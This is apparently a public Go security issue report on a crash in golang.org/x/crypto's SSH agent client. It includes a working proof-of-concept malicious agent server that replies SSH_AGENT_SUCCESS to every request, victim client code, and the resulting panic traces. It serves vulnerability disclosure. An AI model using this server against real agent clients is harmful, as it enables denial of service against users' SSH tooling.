Go version
go1.25.0
Output of go env in your module/workspace:
What did you do?
Note: This was reported on security@golang.org and a PUBLIC track was assigned.
This is confirmed to happen in golang.org/x/crypto <= v0.41.0
Summary
The agent client crashes if a peer replies SSH_AGENT_SUCCESS (byte 6, the protocol’s generic success reply) to requests that expect typed responses. The unmarshal layer converts 0x06 into a *successAgentMsg, but the client methods only handle the specific success types (e.g., *identitiesAnswerAgentMsg, *signResponseAgentMsg) or *failureAgentMsg. Any other type falls through to panic("unreachable").
A malicious or buggy agent can therefore terminate the client process with a single, well-formed one-byte reply.
PoC 1 — Crash List() (and therefore Signers())
Server (replies SUCCESS to any request):
package main
import (
"encoding/binary"
"fmt"
"net"
)
func main() {
ln, err := net.Listen("tcp", "127.0.0.1:9999")
if err != nil { panic(err) }
fmt.Println("agent listening on 127.0.0.1:9999")
for {
c, err := ln.Accept()
if err != nil { panic(err) }
go handle(c)
}
}
func handle(c net.Conn) {
defer c.Close()
var hdr [4]byte
if _, err := c.Read(hdr[:]); err != nil { return }
n := binary.BigEndian.Uint32(hdr[:])
if n == 0 || n > 1<<24 { return }
buf := make([]byte, n)
if _, err := c.Read(buf); err != nil { return }
resp := []byte{6} // SSH_AGENT_SUCCESS
var out [4]byte
binary.BigEndian.PutUint32(out[:], uint32(len(resp)))
c.Write(out[:])
c.Write(resp)
}
Victim client (List):
package main
import (
"fmt"
"net"
"golang.org/x/crypto/ssh/agent"
)
func main() {
conn, err := net.Dial("tcp", "127.0.0.1:9999")
if err != nil { panic(err) }
ag := agent.NewClient(conn)
fmt.Println("calling List() — expect panic in agent/client.go")
_, _ = ag.List() // panics: "unreachable"
}
This results in:
panic: unreachable
goroutine 1 [running]:
golang.org/x/crypto/ssh/agent.(*client).List(0x1005a6008
/Users/jakubciolek/go/pkg/mod/golang.org/x/crypto@v0.41.0/ssh/agent/client.go:434 +0x184
main.main()
Victim client: Sign (reuse the same server)
package main
import (
"crypto/ed25519"
"crypto/rand"
"net"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/agent"
)
func main() {
conn, err := net.Dial("tcp", "127.0.0.1:9999")
if err != nil { panic(err) }
ag := agent.NewClient(conn)
_, pub, _ := ed25519.GenerateKey(rand.Reader)
sshPub, _ := ssh.NewPublicKey(pub)
_, _ = ag.Sign(sshPub, []byte("hello")) // panics: "unreachable"
}
This results in:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x18 pc=0x1050b0ef8]
goroutine 1 [running]:
[golang.org/x/crypto/ssh/agent.(*client).SignWithFlags(0x1400000c390](http://golang.org/x/crypto/ssh/agent.(*client).SignWithFlags(0x1400000c390), {0x0?, 0x0?}, {0x1400000e2f0, 0x5, 0x5}, 0x0)
/Users/jakubciolek/go/pkg/mod/golang.org/x/crypto@v0.41.0/ssh/agent/client.go:445 +0x38
golang.org/x/crypto/ssh/agent.(*client).Sign(..
/Users/jakubciolek/go/pkg/mod/golang.org/x/crypto@v0.41.0/ssh/agent/client.go:440
main.main()
What did you see happen?
Panics on client interaction with prepared server.
What did you expect to see?
Client survives those interactions.
Go version
go1.25.0
Output of
go envin your module/workspace:GOVERSION='go1.25.0'What did you do?
Note: This was reported on security@golang.org and a PUBLIC track was assigned.
This is confirmed to happen in golang.org/x/crypto <= v0.41.0
Summary
The agent client crashes if a peer replies SSH_AGENT_SUCCESS (byte 6, the protocol’s generic success reply) to requests that expect typed responses. The unmarshal layer converts 0x06 into a *successAgentMsg, but the client methods only handle the specific success types (e.g., *identitiesAnswerAgentMsg, *signResponseAgentMsg) or *failureAgentMsg. Any other type falls through to panic("unreachable").
A malicious or buggy agent can therefore terminate the client process with a single, well-formed one-byte reply.
PoC 1 — Crash List() (and therefore Signers())
Server (replies SUCCESS to any request):
Victim client (List):
This results in:
Victim client: Sign (reuse the same server)
This results in:
What did you see happen?
Panics on client interaction with prepared server.
What did you expect to see?
Client survives those interactions.